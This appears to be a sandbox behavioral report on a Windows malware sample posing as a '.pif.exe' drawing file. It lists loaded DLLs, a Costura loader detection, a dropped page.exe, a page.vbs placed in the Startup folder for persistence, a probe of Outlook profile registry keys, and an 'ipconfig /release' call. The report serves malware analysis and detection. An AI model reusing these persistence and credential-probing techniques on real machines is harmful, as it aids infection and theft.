Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: 58955, ZN25888A #U2013 drawing.pif.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 58955, ZN25888A #U2013 drawing.pif.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1676892478.0000000005D00000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003661000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1676892478.0000000005D00000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003661000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1686988988.00000000064C0000.00000004.08000000.00040000.00000000.sdmp, 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1671061323.0000000003757000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Yara detected Costura Assembly Loader

Source: Yara match	File source: 1.2.58955, ZN25888A #U2013 drawing.pif.exe.63a0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.58955, ZN25888A #U2013 drawing.pif.exe.63a0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1657466713.0000000002698000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1686131808.00000000063A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1913541697.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 58955, ZN25888A #U2013 drawing.pif.exe PID: 7604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: page.exe PID: 3716, type: MEMORYSTR

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Code function: 1_2_00BB11EB push C300914Ch; ret	1_2_00BB1259
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Code function: 1_2_06D031AD push edx; iretd	1_2_06D031AE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04FF5028 pushfd ; ret	6_2_04FF5032
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04FF4197 push eax; ret	6_2_04FF41A2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04FF42B8 push ebx; ret	6_2_04FF42DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04FF429C push esi; ret	6_2_04FF42B2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04FF4277 push ebp; ret	6_2_04FF4282
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04FF6F18 pushad ; ret	6_2_04FF6F23
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04FF9828 push C3000002h; ret	6_2_04FF984C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04FF3A08 push esp; ret	6_2_04FF3A11
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_04FF3B00 push esp; ret	6_2_04FF3B09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_01483F84 push E9000001h; retf	11_2_01483F89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06483E1E push es; iretd	11_2_06483E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648CE20 push es; retf	11_2_0648CE21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06484775 push es; ret	11_2_064848B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06486B9B push ecx; ret	11_2_06486B9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064847AB push es; iretd	11_2_064847B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648F411 push es; iretd	11_2_0648F4A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064838E6 push es; retf	11_2_064838E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064838F1 push es; retf	11_2_06483914
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06484899 push es; ret	11_2_064848B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_0648F4A5 push es; iretd	11_2_0648F528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_06498BE0 push es; ret	11_2_06498BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064D26D1 push es; ret	11_2_064D26D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064D0EF0 push 00000058h; retf	11_2_064D0EF4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064D06B0 pushad ; retf	11_2_064D06B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064D67EE pushfd ; retf	11_2_064D67F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064D9D0A push es; ret	11_2_064D9D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064DB3CD push es; ret	11_2_064DB3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_064DB38D push es; iretd	11_2_064DB3A8
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 16_2_071431AD push edx; iretd	16_2_071431AE

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

File created: C:\Users\user\AppData\Roaming\page.exe

Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs

Jump to behavior

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
